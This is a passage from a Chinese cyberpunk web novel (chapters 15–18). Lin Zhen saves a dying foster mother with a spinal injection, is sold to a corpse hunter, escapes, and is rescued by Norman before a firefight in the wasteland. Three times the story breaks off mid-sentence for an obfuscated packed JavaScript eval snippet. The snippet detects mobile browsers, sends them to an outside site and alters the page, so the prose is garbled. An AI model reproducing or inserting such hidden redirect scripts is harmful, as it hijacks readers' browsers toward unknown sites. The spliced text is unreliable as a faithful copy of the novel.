她抬头看了一眼入口右上角的监视器。她的面容应该已经被发送给了居民区的其他管理人员。那些人在不远处的食堂吃饭,拿她的生死打赌。 她对着监控镜头,竖起中指。 然后,她向着收养院的方向奔跑。 在跑了五个小时后,她很惊讶自己还能跑得动。 收养院出现在她的眼前。 “桃子!开门!”她拍着铁门,冲里头大喊。 桃子打开门,看见她一身的血,下意识地后退一步,“林真姐姐,你怎么……” 她话没说完,耗子就从她背后蹿出来,看到林真的模样,一双眼睛瞪得老大:“林真姐姐,你是去炸农场了吗?” 这孩子还想着炸农场呢。 林真扶着铁门喘了口气,露出一点笑容:“不,我是去炸黑街了。” “哇——牛逼!” 林真摸了一下他的脑袋:“别说脏话,不然我让黑街的朋友来抓你。” 药师瓷白的脸和白瓷义眼在她眼前滑过。 一起喝过茶,也许是朋友吧。 当然,也可能是大债主。 但谁能说朋友不是债呢? 林真拿出大脑稳定剂,交给桃子:“拿好别摔了,这是救命的东西。” 桃子一下就明白了。她捧着针剂,小心翼翼地退到一边。 15. 灰色(一) 林真脱下外套,换了两盆水,才把指甲缝里的血污都洗干净。 她带着桃子走进玛莎的房间。 昏暗的隔间里,玛莎直直地躺在床上。她的眼窝凹陷,嘴唇泛青,皮肤松垮地挂在骨头上。很难相信,这是一个三十出头的女人,她更像一截烧焦的柴火。 林真在床边跪下,轻轻唤了她一声。 可玛莎没有反应,她望着顶棚上深蓝色的补丁,就好像她的灵魂已经飘走了,只留下一具苍白瘦削的躯壳。 林真向桃子伸出手: “针剂给我,你帮我把玛莎妈妈扶起来。” 桃子立刻脱掉鞋子,跪在床上,从前面拉住玛莎的双手。 另一侧,林真托着玛莎的背部,将她扶起来。 如果安恬在这里就好了。林真早就发现,安恬的力气很大,生起气来能把耗子拎起来打。但她没有时间等安恬从农场回来了。 桃子晃了一下,细瘦的胳膊微微颤抖。 “我来帮忙!”耗子从外头窜进来。他鞋子也不脱,直接踩在床上,帮桃子一起拉住了玛莎的手臂。 林真看了他一眼。 耗子冲她露出一个缺了门牙的笑容。 也行吧。林真默许了他。 她用力搓了几下手,让手指不那么冰凉。然后,她把玛莎的头发拨到胸前,从上往下摸过玛莎凸起的脊椎。她一节一节数着,直到找到腰椎间隙,用剪子轻轻剪开那里的睡裙。 在原本的世界,她是做药物研发的。她经手的实验体有小白鼠,有食蟹猴,但这是第一次,她要把所学过的知识和技术用在人身上。 她不是医生,她只是个研究员。她从来没有做过这样的事,她简直是在犯罪。 林真咬了咬牙,拔下针剂的盖子,用左手食指和中指定位,将银色的合金针对准了两指间的缝隙。 针头一点点推进,刺穿皮肉,穿过硬脊膜,进入蛛网膜下腔。 林真小心地抽动针管。几次调整之后,她终于看到了无色透明的脑脊液。 对了,就是这里了。 她屏住呼吸,慢慢推动针管。 青天蓝的药剂一点点变少。 即使在半休克的状态下,玛莎依然发出了痛苦的闷哼。 林真动了一下膝盖,把自己更稳地固定在床上。 她的身体不能抖,手也不能抖。她听到另一侧,桃子在低声重复着“抓稳了,不要动”。 最后一滴药液注入后,她缓缓拔出针头。 这时,外面突然传来了猛烈的砸门声。 耗子惊恐地往外看了一眼,“是来抓我的吗?” ”没事,不是找你们的。”林真安抚道。她拿掉枕头,双手托着玛莎的背部,将她轻轻放平在床上。 玛莎很沉,但林真的心里更加沉重。 她第一次把自己所学的东西用在人身上。 她应该犯了超过一百条安全法,但她希望玛莎能够醒来。 只要玛莎能够醒来。 “桃子,六个小时内,如果玛莎妈妈醒来,注意不要让她下床。如果她头疼,就让她侧着躺。止痛药也准备好。这里是二百三十二信用点,你拿着,止痛药没了就让铁棍出去买。” “姐姐……”桃子的眼神慌乱。 林真拍了拍她的肩膀,“你也是姐姐了,别慌。” 她又看向耗子,“你去叫其他人进卧室,让大家都待在里面,等安恬回来。” 交代完毕后,林真走出房间。 小孩子们像是一群小鸭子,从她的身边跑过,涌进卧室里。 铁棍在卧室门口停下,看了她一眼,欲言又止。林真把柯尔特递给他,“里头没有子弹,必要的时候装个样子。” 她拍了拍铁棍的肩膀,转身走向空荡荡的厂房,走过孩子们的涂鸦画和小手工。然后,她深吸一口气,打开了大门。 门外,五六个管理人员正堵在那里。 看见林真出来,那个“赌钱输了”大哥举起电棍,朝她劈头盖脸地砸下来。 林真抬手护住头部,缩紧身体。 街对面,安恬刚从大脑农场赶回来。她看见管理人员,脚步就是一顿,低下头,不敢靠近。 “行了,收养院门口呢。”有人出声阻止,“别闹大,回头还得写报告。” “对呀老六,还不是你自个儿菜,能被个小丫头放倒——”另一个人嘲笑道,“起来吧,小黑户,你的好日子到头了。” “都给我闭嘴!”那个叫老六的男人仍不解气。他一把拎起林真,开始翻她的口袋。 “她偷晏少一管大脑稳定剂,五千信用点呢!” 可林真的口袋里只有一只空药盒。 老六看了一眼,随手扔在地上,揪住林真的衣领,狠狠地质问道:“药呢?” “这儿呢。”林真举起右手。 她的手心里,碎成两截的针剂反射着阳光。 她看着街对面的安恬,微微点头,开口道:“跑太急,磕地上,摔碎了。” 老六一把抢过她手里的玻璃管,眼睛瞪圆,“草!是真货!” 他一巴掌打在林真头上,“卖了你也赔不起!” 林真摔倒在地。 她的头发披散开来,视线模糊一片。 地面上,风铃摔碎了,星星和花朵被踩碎成无数亮晶晶的碎片。 满地的碎片正发出“叮叮当当”的声音。 它们总在玛莎回家时,发出“叮叮当当”的声音。 小孩子们会像云朵一样,团团围住玛莎。他们刚学会了”世上只有妈妈好”,每天吵得像一群小鸭子。只有耗子,时不时嚎一嗓子“炸农场”,像是一个孤独悲愤的革命者。 林真慢慢抬起头。 天很蓝,阳光很好,很刺眼。 她忽然就笑出了声。 先是低低的笑,然后越来越来大声,哪怕笑到咳嗽也没让她停下来。 从那个潮湿阴冷的雨夜开始,愤怒在她胸口一寸寸地堆积。 这个荒谬的世界,用贫穷、暴力、和不公平逼迫她选择,逼迫她撒谎、偷窃、杀人,逼迫她怀疑见到的每一个人,逼迫她离过去的自已越来越远。 这个杀人的联邦。 这个操蛋的世界。 可她仍站在这里。 她做的选择,都是她的选择。她杀人,偷窃,苟且偷生。她去相信,去爱人,去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904336|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救该救的人。 他们逼迫不了她。 林真一直笑出了眼泪。 管理人员用力推搡了她一下:“闭嘴,快走!” 林真抹了一把脸,从地上捡起药盒,迈开脚步。 身后,安恬大喊道:“对不起!” 林真没有回头。 她本以为管理人员会把她赶出居民区,让她在黑街自生自灭。她觉得问题不大,毕竟一回生,二回熟,三回黑街是她家。 就当是回家算了。 可半个小时后,当她被反绑着双手站在黑街边缘,看到尸体猎人张三那张脸的时候,她还是真情实意地叹了一口气。 这个联邦的下限都低到下水沟里去了! 官匪勾结!买卖人口!什么联邦,这就是金三角! 老六抓着林真的肩膀:“老样子,这个看着快成年了,一千五百点。先交钱,后拿人。” 张三飞快地扫了林真一眼,机械义眼闪了闪,把背躬得接近九十度,像上供一样,把手腕上的终端高高举起。 他的右臂换成了粗大的金属义肢,过长的义肢一直垂到膝盖,行动之间发出嗡鸣声。 “滴” 支付成功。 老六狠狠地推了林真一把,“诺,你的了,带走吧。” 张三抓住林真,还是低着头,低声下气地问道:“老爷,她这是犯了什么事呀?” “黑户,用死人芯片,还偷窃——五千点的大脑稳定液!妈的,你把她给我细细地切!气死我了!” 林真握紧了拳头。 管理员老六拿了钱,慢悠悠地往居民区的方向走。 张三保持着低头的姿势又过了好一会儿,才站直身体。他对着老六的背影”啐”了一口,慢慢拧过脖子,盯着林真,嘴角一点点裂开。 “你是个什么东西?” ——张三还活着,指不定哪天你们俩就再续前缘了呢。 诺曼你个乌鸦嘴! 林真在心里骂了诺曼一句,一边向着墙壁缓缓后退,一边开口道: “我不知道你在说什么……” 话音未落,张三猛地俯身,金属大手掐住她的脖子,一把将她按在墙壁上,脸上露出一个残忍的笑容: “等我把你的脑子掏出来,就知道你是个什么玩意了。不管什么东西,活着的,都比死了的更值钱。” 林真被迫仰起头,呼吸发紧。 她神色未变,双手在背后摸索着,终于找到一个水泥凸起,将手腕上的布条绞上去。 同时,她死死盯着张三红色的机械义眼,“呵”了一声: “怎么,搞小动作被常老七发现了,丢了一条胳膊啊?” 她的目光从那条粗大的金属手臂上扫过。 “看起来很熟悉啊,是张四的吧?把你弟弟拆了吧?卖了多少钱呀,有两千点吗?” 张三的脸色一瞬间变了。他太阳穴处的青筋突起,脸上的肌肉抽动: “好……很好……不知死活的东西!这笔帐,我的确要和你们算一算。” 他猛地将脸凑近,腥臭的口气全喷在林真脸上,“那天晚上,和你一起的,是不是欺诈师N!快说!” 16. 灰色(二) 黑街深处,诺曼正在覆写一条合金义肢的防火墙。他坐在工作台前,眉头紧拧,眼神专注。 莫恕给自己打了一针新的荧光基因,顶着半绿半紫的脑子,在工作台旁边探头探脑,嘴里算着这一单能赚多少钱。 诺曼抬起头来,长腿一撩,一脚踹过去。 “闭嘴,跟个苍蝇似的。” 莫恕熟练地一个闪避,哼得更大声了:“五百点啊五百点,五百点啊六百点”。 诺曼还要再踹,突然听到自己的终端响了一声。 终端屏幕一闪,自动投影出一幅黑街地图。地图边缘,一个红点跳动着。 莫恕凑上来,“我说,这到底什么啊?你昨天盯一天了,今天又来?你今天要是不给我弄好这条胳膊,我……” 诺曼抬头:“你怎么?” “我,我就吊死在你家里!” 诺曼“呵”了一声,干脆脱下黑色手套,拿着终端坐到高脚凳上。 莫恕眼巴巴盯着他:“别啊,哥,我今天晚上就要交货了,哥!这终端里到底有什么啊?” “那个大脑骇客。” “那个,哪个?那个高等级的?你给人家装定位?等一下,你不是又给别人下大脑病毒了吧?”莫恕瞪大眼睛,“她现在是来找你算账来了吗?” 诺曼没有说话,也没有踹人。他盯着终端,深色莫名。 莫恕绕着他转了一圈,一把掀开他耳朵边上的头发,“草!你不对劲,你耳朵红什么?” 诺曼打掉他的手,点开了窃听频道。 一阵电流声后,频道里传来了一个嘶哑的男声:“那天晚上,是不是欺诈师N!快说!” 诺曼原本是放松地坐着,听到这句话,他忽然坐直了,眼神一瞬间冷厉起来。 频道里传出林真带着咳嗽的声音:“你不是看到了嘛,咳咳,是绿曼巴,咳咳咳,就是她。” “放狗屁!我这条胳膊,就是去和绿曼巴大人确认时丢的!大人本来还要我这颗脑袋,可她惦记N的下落,绕了我一命。你一定是N的同伙,说,N藏哪儿了?快说!不然我现在就把你的眼睛抠出来!” “喂,诺曼,”莫恕一屁股坐在沙发上,“准备搬家吧,你也两年没有挪窝了。” “不搬,一个尸体猎人而已。” “真不打算?他可是说了绿曼巴,那个追杀了你一年、炸了你三个窝点,还差点要了你命的疯女人。” 终端里又响起了林真的声音:“你弟弟也想抠我眼睛,然后他死了。你要是现在自杀,说不定我心情一好,就把N的地址烧给你了。” 说完这句,她就闭上了嘴,哪怕张三在那头又吼又骂,也没再吐一个字。 只有偶尔的咳嗽和闷哼声传来,在安全屋里回荡。 莫恕撑着下巴,饶有兴致地吹了声口哨:“哇哦,看样子你不用搬了。她怎么这么帮你?我看今天天上也没下信用点呀,真是个好运气的家伙。” 诺曼没有说话,只是指尖在膝盖上轻轻敲击着。过了一会儿,他突然站起身,一伸手摘走了莫恕腰间的摩托钥匙。他大步走到门口,从架子上拿起一柄匕首,塞进靴筒,转头说道: “莫恕,治疗针。” 莫恕撇了撇嘴,从衣服里翻出两管治疗针,抛给他:“说实话,你们俩之间到底有没有猫腻?都这样了,她还不把你给卖了?” 诺曼打开门,“没有。她蠢。” 门关上了。几秒后,楼下传来改装摩托的引擎声。 黑街边缘,张三换了左手掐住林真的脖子,右手指尖“咔哒”一声弹出合金刺,对准了她的眼睛。 林真叹了一口气。一个两个,怎么都不听劝呢? 她今天已经用脑过度了,现在太阳穴闷闷地疼,意识世界也明显破损了。 ESCAPE。 她在脑子里喊了一句。 下一秒,破破烂烂的黑色世界出现,勉强挂住了张三那颗蓝紫色的脑子。在这种状态下,林真本能地意识到自己做不了很多事。固定住张三已经是她的极限了。 她从张三手掌下钻出,深呼吸了两次,然后用对方右手的合金刺切断了手腕上的布条。 在做这个动作时,她清晰地感受到了张三想要切断她手腕的想法。 林真没给他机会。她绕到张三背后,抽出对方腰后别着的马格纳姆左轮。 “滋啦”一声,张三皮带上的对讲机响了,里头传出刺耳的声音: “张三儿,搞完没有?接个货接半天,行不行啊?要不要哥几个来帮你啊?” 林真一把扯下对讲机,扔到地上,狠狠一脚踩下。 没碎。 她抓了抓马尾,有点羡慕诺曼的变声技术了。 黑色的意识丝线已经不剩几根了。 张三虽然还被她定在墙角,但手指已经开始颤动。 林真举起马格纳姆,对准了他的后脑。张三比她高很多,马格纳姆很沉,她的右手发抖,只好用左手托住右手腕。 “嘣” 又一根黑色丝线断裂了。 张三的右手获得了自由,手掌猛得合拢,合金刺刮过墙壁,留下五道白痕。 林真深吸一口气,食指放上扳机。 她不该这么做。 可她想活,就像所有在黑街苟且偷生的卑劣者一样。 或许,她本来就是个卑劣者。 她的手指紧绷,缓缓扣下。 可就在扣下去的瞬间,她忽然自嘲一笑,猛地调转枪口。 扳机一扣到底,脚下的对讲机“砰”地炸开,火花四溅。 巨大的声响里,张三一个哆嗦,软倒在地,牙齿“咯咯”作响,从嘴里吐出断断续续的声音: “你……到底……是谁?” 他明显不满自己在一个猎物前露了怯,又恶狠狠地补充道:“不管你是谁,七爷不会放过你的……” “那好。”林真俯下身,凑近他耳旁,“我是林真,你和你的七爷给我记好了。” 她握紧马格纳姆,狠狠砸在张三的太阳穴上,把他打翻在地。 巷子里,秃鹫的身影晃动。林真看了一眼地上的张三,后退一步,拉上兜帽,转身离开。 如果你能活下来的话。她想。 下午的光线昏黄,远处传来械斗的声音,空气里弥漫着垃圾燃烧的刺鼻气味。 林真像一滴血,悄无声息地融进了黑街这片腐烂的皮肤里。 黑街的另一端,诺曼从耳机里听见了马格纳姆特有的低沉爆鸣。他心里“咯噔”一下,一把刹住摩托。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904337|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个猎人开枪了,或许林真已经死了。 他停在路中央,长腿支在地面上。 有人从旁边路过,悄无声息地伸出手,鬼鬼祟祟探向他腰后的手枪。 诺曼一把抓住对方的手。右手一动,手枪已经顶上了对方的额头。 那年纪不大的扒手连声求饶。 “闭嘴。”诺曼喝道。 他没有看小扒手,而是望着远处筒子楼间深黑的阴影。 然后,他听见了。 那个熟悉的女声再次响起,带着微微的颤抖:“那好,我是林真,你和你的七爷给我记好了。” 面罩下,诺曼勾起嘴角。他松开手,收起手枪。 “滚吧,老子今天心情好。” 小扒手得了性命,连滚带爬地跑了。 诺曼重新启动机车,将油门拉到底。 西斜的阳光落在老酒馆的彩绘玻璃上,反射出刺眼的亮斑。林真在一天之内,第二次经过这里。 酒馆的门还敞开着,两道长长的血迹从里头一直拖到街上。酒馆对面的街道上,上午并排坐着的秃鹫们不见踪影。只是墙上乱七八糟的涂鸦上,多了三处血迹喷溅的痕迹。 林真心下了然。 她本以为能找个本地的NPC问一点常七爷的消息。但这就是黑街,NPC是不会刷新的。 旁边的巷子里,卖非法梦境芯片的小孩探出头来。 “哎,那个小孩——”林真冲他招了招手,“对,就你,过来。” 浑身脏兮兮的小孩抱着鞋盒,小心翼翼地走过来,眼神躲闪,嘴里磕磕巴巴:“您,您要买芯片吗?啥,啥,啥都有。” 林真浑身上下一个信用点都没有了,她无奈地一摊手:“不,我现在只有这把枪了。” 小孩明显理解错了她的意思,眼睛惊恐地睁大,哆哆嗦嗦地从盒子里抓出一片芯片,小心地放到马格纳姆银色的枪身上:“给,给,给您……别,别杀……” 林真摸了一下自己的脸,她看起来有那么吓人吗? 她尽量露出一个微笑:“你叫什么?你也是从居民区被卖过来的吗?” 小孩一惊,连连摇头,就要往巷子里跑。 林真抓住他的手臂。 “你知不知道常七爷?” 小孩拼命挣扎起来。 林真扶着抽疼的额角,给自己气笑了。坏了,脑子疼傻了,抓着被拐儿童问人贩子集团CEO。 她重新组织语言:“常七爷在哪里?” “哪里,哪里都有……”那孩子的眼泪都快出来了,在林真手里颤抖着,像个淋了雨的小黑鸡仔。鞋盒里的芯片“哗哗”作响。 林真叹了一口气,松开了手。 小鸡仔瞬间逃得没影了。 林真捏起那孩子留下的芯片,就看见上头写着“末路狂花”,和那部老电影一样。她把芯片随手放进口袋里,推开酒馆大门,走到吧台后。 她从吧台角落里掏出一瓶红酒,拔下软木塞,对着瓶子狠狠灌了一大口。 红酒的味道既酸又涩。 空腹喝酒,一股热流直冲上脑门。她的大脑似乎满意了,不再抽疼。 林真又喝了一口,倒提着酒瓶,走到酒吧的门廊上。 街道尽头,响起一片引擎声。 17. 灰色(三) 夕阳下,两辆摩托车出现街道尽头。左边那辆摩托车带着副驾驶座。张三正歪在里头,头骨被掀开,里头插着一根粗大的电缆。 电缆的另一头,连着一个微型投影仪,正投影出林真的模样。 驾驶摩托车的看了一眼投影,又看了一眼林真,“嗷嗷”怪叫起来: “就是她!抓住她!给张三儿报仇!” 林真倒提着细长的瓶颈,把酒瓶往上轻轻一抛,然后正手接住,按在木头栏杆上。 瓶子里的酒液还在晃荡,她已经举起马格纳姆,连扣扳机。 “砰——砰——砰” 左边的摩托车一个紧急闪避,张三的脑子就泼了一半出来。投影和被拔了电源一样,一下子就消失了。 驾驶员抹了一把脸上的脑花,举起手里的枪。 林真身旁的红酒瓶“嘭”的一声炸开。 碎片划过她的手臂。 突然而来的疼痛让她的手一软,差点握不住手里的枪。 她咬紧牙关,从口袋里摸出梦境芯片,塞进耳后的脑机接口。过去的十七年里,原主并非没有碰过这些东西,她第一次和林雪撒谎,就是为了偷偷买一张据说是描述四区生活的梦境芯片。 梦境芯片接管了林真的痛觉。 她双手举起马格纳姆,手腕一沉,毫不犹豫地连开两枪。 “砰——砰” 右边摩托车的挡风玻璃上顿时开出两个洞,驾驶员一头栽下车。摩托车失去了控制,翻倒在路上。 可左边的摩托车却加快了速度,直直朝她冲来。 林真再次扣动扳机。 “咔” 马格纳姆发出一声空响。 林真一愣。 就到这里了,是吗? 她已经跑不动了,也没有子弹了。她有些遗憾,但却意外地平静。 她手一松,扔掉空了的枪,从栏杆上端起剩下的酒瓶底,仰头把最后一点酒倒进嘴里。 然后,她举起瓶底,狠狠砸在地上。 玻璃碎片四溅。她低声笑道: “敬你,我不存在的明天。” 她放开了对大脑的控制,任由梦境芯片开始接管她的视野。 那部老电影里的荒野、黄沙、烈日与公路,如潮水般涌来,逐渐盖过真实的世界。 片尾曲在她耳边响起,唱的是: ——还有无尽的路途等着我 ——我们永远不会知道明天 林真跟着哼唱起来。 猎人嚎叫着逼近了她,举起了手里的枪。 这时,街对面的窄巷里,一辆亮紫色的摩托车贴着墙冲出来。加宽加厚的轮胎在门廊前一个急刹,扬起大片尘土。 一个头盔飞进林真手里。 诺曼的声音紧随而至:“戴上,上来!” 这一刻不真实得像做梦。 可林真正好在梦里。 这还真是个美梦。她笑了起来,利落地戴上头盔,翻身跨上摩托后座。 “抓紧了!”诺曼低吼一声,改装摩托像子弹一样蹿了出去。 林真一把勒住诺曼的腰,声音里带着酒意,顺着旋律继续哼唱:“‘远方有个声音,在呼唤我离开。所以抱紧我,说你也感觉到了。’” 诺曼猛地吸了一口气,咬牙:“你再不把那个该死的梦境芯片拔掉,我就把你扔下去!什么东西都往脑子里塞,手欠不欠啊!” 林真在风里笑得更肆意了。 她并没有很醉,她只是需要自己不那么清醒。 她伸手敲了敲耳后的脑机接口。 “咔哒” 薄薄的芯片弹出,落进她的手心。 她的手指一松,梦境就落在她的身后。一瞬间,黑街的气味,身后的引擎声和叫骂声涌入她的大脑。 五感归位。 她下意识摸了一把手底下的腰。 “你干嘛!” “手欠啊。”林真振振有词,“我们大脑骇客都这样的。” 管其他的大脑骇客都有什么癖好,她现在就要这么干。 “你再摸一下试试?” 林真从善如流,从上到下。 “闭手!住嘴!什么时候了,你去脑一下后面的司机!” “这个暂时做不到呢,骇客喝醉啦。” “那要你有什么用?你下次最好不要让我抓到你喝酒!” “YesSir!”林真大笑着,右手放肆地摸过他的后腰,“那我先借点火力。” 她抽出了诺曼的手枪。 手枪看不出牌子,枪管细长。 她双腿用力夹住摩托,拧腰转身,单手举枪,瞄准后方的追兵。 后方的摩托车快速躲避。 “躲得有点快啊,”林真皱眉,“你开稳点!” 诺曼猛然转进一条狭窄的巷道。后头的摩托车紧随而入。巷子限制了双方的躲避范围,创造出一个狭小的斗兽场。两人进,一人出。 对方的驾驶员也意识到了这一点,怪叫着举起了枪。 林真眯起一只眼睛。 酒意从她的身体里燃烧起来,窜过她的手臂,一路烧进枪膛里。 子弹出膛,击穿了驾驶员的护目镜,在脑后炸开一捧血花。 骑手身体后仰,从车上跌落。 “低头抓稳!” 几乎同时,诺曼低吼一声,猛地一拉车把,摩托横身甩尾,几乎贴地侧翻,堪堪避开向他们射来的子弹。 诺曼跳下车,看了一眼巷子口,然后几个箭步接近张三的尸体,摸出一样东西,迅速折回。 他把那东西抛给林真。 那是一个黑色的终端,外壳还带着血迹。 “放好了,是张三的终端。” “战利品?”林真一手接住。 诺曼重新发动摩托,回头看她一眼:“你不是想知道是谁要你的命吗?” 林真沉默了。收养院的一周和孩子们的陪伴,让她几乎忘了这件事。她把张三的终端扣在自己手腕上,干巴巴地说了句谢谢,又问道:“那我们现在回你家?” 诺曼嗤笑一声:“你不会以为这就结束了吧?我们去荒野。” 摩托车呼啸着穿过黑街,一直往东去。 黑街外是什么? 过去的林真不知道。 现在她知道了。 黑街外是荒野,是一望无际的废土。月光下,废弃的建筑群影影绰绰,一切都带着雾蒙蒙的灰色。 灰色深处,亮起几点白色的灯光,如同鬼火漂浮在地平线边缘。 “对着有灯光的地方开枪。”诺曼开口:“随便开。” “那是什么?” “荒野猎人。” 林真不再说话,挨个光点送上一枪。 这么远,没有准头,更多的是宣告: 我们有枪,我们发现了你,我们不是你可以轻易获得的猎物。 他们来到一栋废弃的停车场。诺曼驾驶着摩托车,沿着螺旋车道驶上顶层。 这里似乎是诺曼的基地,他熟门熟路地走到最里面的水泥柱旁,掀开防尘布,打开一个锈迹斑斑的铁皮柜,从里面拖出一个黑色的大袋子。 他解开袋子,从里头翻出一副骇客眼镜,递给林真。 林真一皱眉:“你搞骇客眼镜批发呢?” “上次在这里干掉了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906618|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个,随手收起来了。” “你和大脑骇客有仇吗?” 诺曼没吭声,从袋子底下翻出一盒弹匣,“咔哒咔哒”地给自己的手枪上弹。 “我对你没有敌意。”他说。 林真耸了耸肩,戴上眼镜。 “滋”的一声,一道荧绿色的光闪过,视野自动调亮。停车场顶层顿时变得清晰无比。 林真向外看去。 荒原深处,一个热源被红色方框框起来,旁边显示出相对距离和风速,还有最佳弹道。镜头不断拉近,直到能看清对方模糊的影像,似乎是一个人正拖着一具尸体。 “还挺好用,可以当夜视镜。”林真移开目光,“你不需要吗?” “我用不着。”诺曼已经将一支萨科狙击步枪组装完毕,放在一旁,接着又掏出一条带着匕首的战术腰带,递给林真。 林真系上腰带,摸了摸空空如也的枪套,皱起眉。 “给我把枪。”她说。 诺曼挑眉,让开位置,“自己挑。” 林真在袋子里翻了翻,挑出一把半自动和配套的弹匣。她熟练地把弹匣塞进枪柄,左手反握滑套,右手握着枪柄往前一送。 “咔嚓”。子弹顺利上膛,滑套归位。 诺曼看着她的动作,突然想起了什么。 “你不是说你以前没见过血?”他狐疑地问道。 林真侧头瞥了他一眼,抬起枪口对着停车场的混凝土墙做了几次瞄准动作。 “我只是喜欢枪。枪是安全感。” 她换了几次角度,确认这把枪对她来说重量刚好,才满意地把它插进枪套里,低声咕哝道: “都怪见鬼的巴尔的摩,当代哥谭……不然谁想学这些破玩意儿啊。” 突然,她的肚子发出了一声巨大的“咕噜”。林真按住肚子,脸上的冷漠神色瞬间褪了个干净,抬眼看向诺曼: “你不会碰巧还有营养剂吧?我一天没吃饭了。” 诺曼“呵”了一声,从袋子侧面拉出一个防水小包,丢给她,“光喝酒了是吧?五区的泔水好喝吗?” 林真一摊手:“不好喝,喝起来一股子血腥味。” 破碎的月亮升上中天。月光洒进停车场里,有蝙蝠悄无声息地掠过夜空。 诺曼在停车场的最外圈的水泥围栏上坐下,屈起左腿,狙击枪横放在腿上。 林真吃完了一管营养剂,在诺曼对面坐下。 风从废墟顶层吹过,偶尔带来远处零星的枪响。然后,一切又安静下去。 悠远空旷的荒原包容着一切死亡和罪恶,就好像它们只是随处可见的杂草。 “为什么月亮是破碎的?”林真忽然问。 “不知道。也不关心。” “那大脑农场是从什么时候开始的?” “我出生以前。” ……这天可没法聊了。林真看向诺曼。 浅绿色的视野里,诺曼的眼睛被一帧帧放大,长睫毛和双眼皮像一幅铜版画。 这睫毛比她的命还长。 她回过神来,唾弃了一下自己,真心实意道:“今天谢谢你来救我。” 诺曼睁开眼,哼笑一声:“我可不像某人,一点契约精神都没有。” 没有契约精神、半道跑路的林某人低下头。可明明是对方先下大脑病毒的。她突然想起来,正想回嘴。 “嘘——”诺曼端起了狙击枪。 林真向远处望去。地平线上出现了五盏车灯。 几乎同一瞬间,荒野上原本星星点点的灯光仿佛被无形的手一把捏灭。 猎杀者总是第一个嗅到同类的气味。 来者不善。 18. 绿曼巴(一) 林真眯起眼睛,骇客眼镜自动框出四个高速目标,逐个放大。 “三辆摩托,后面是一辆汽车,速度在八十公里以上……距离三公里左右,还在加速。” “就抓一个人犯不上用一个小队。不过你干掉了他们的人,这阵仗也算合情合理。” 诺曼说完,跳下栏杆。他右膝跪地,左腿屈起,左肘抵在膝盖上,上半身微微前倾,将萨科狙击步枪的前托稳稳架在水泥栏杆上。 这么看,他像一个游戏里的刺客。 有风吹过,吹得他鬓角的碎发轻轻一动。 然后连风都停止了。空气寂静而沉默,整座荒原如同一只狩猎前的野兽。 林真还没来得及屏住呼吸,就听见空气发出一声闷响。和手枪的脆响完全不同,狙击步枪的爆鸣声穿胸而过,一瞬间让人心跳失序。 等林真回过神来,就看见最左侧的摩托车连人带车消失在视野里,只剩下一股扬起的尘土。 右侧的摩托开始蛇形规避。 诺曼神色未变,快速拉动枪机,再次瞄准。 第一发封锁退路,第二发直击前轮。右侧摩托的前轮炸开火光,腾空翻滚起来,将骑手直接甩飞出去。 诺曼在空中结果了他。 空弹壳从机匣里抛出,“叮”地落在林真脚边。 诺曼抬起头,吹了声口哨,嘲讽道:“两个半路出家的杂碎,还敢追到荒野来。” 如果他是刺客,林真想,他一定是最好的刺客。 这时,汽车的副驾驶车窗里钻出一个人影,举着一个比猎枪粗的东西,对准了他们。 随着那个人的动作,一个红色的感叹号出现在林真视野的右上角。 她正要放大图像,仔细打量,就听到诺曼骂了一声。 诺曼扔下狙击枪,猛地扑过来,左臂箍住她的肩膀,右手按在她的头顶,带着她就地一滚。 几秒后,一道呼啸由远而近,如旱天雷动,撕裂空气,轰然撞上了停车场。 火光腾空而起,爆炸将水泥板连片掀飞,热浪和白光扑面而来。 整座停车场都在震动。 十几秒之后,林真终于能睁开眼睛。她的耳朵嗡嗡作响,什么都听不清。 停车场的顶部已经塌出一个巨大的洞,白晃晃的月光穿过断裂扭曲的钢筋落进来。而他们刚才所在的位置,包括诺曼的狙击枪,都已经消失无踪。 诺曼趴在她身上。他原本扎起的头发散开了,半长的黑发凌乱垂下。 他身上盖着一层厚厚的水泥灰,林真自己身上也都是水泥灰。 水泥灰总比水泥板好,至少砸不死人。她这么想着,抬起右手,随即倒吸一口冷气。她的肩膀本来就伤到了,刚才又撞在墙上,现在刺痛无比。她换了一只手,按在诺曼的肩膀上,小心地推了推。 过了好两秒,诺曼才抬起一只手,示意自己还活着。 他从头发里摸出连接线,把末端扭了下来,递给林真,然后指了指自己的脑机接口。 在耳朵无法接收声音的时候,通过脑机接口对话是最好的选择了。林真会意,将末端插入自己耳后的接口。 “嗡”的一声,连接完成。诺曼的抱怨声直接在她的脑子里响起:“常老七手下的狗有病吧?抓你值得用榴弹啊?你值几个钱啊?” 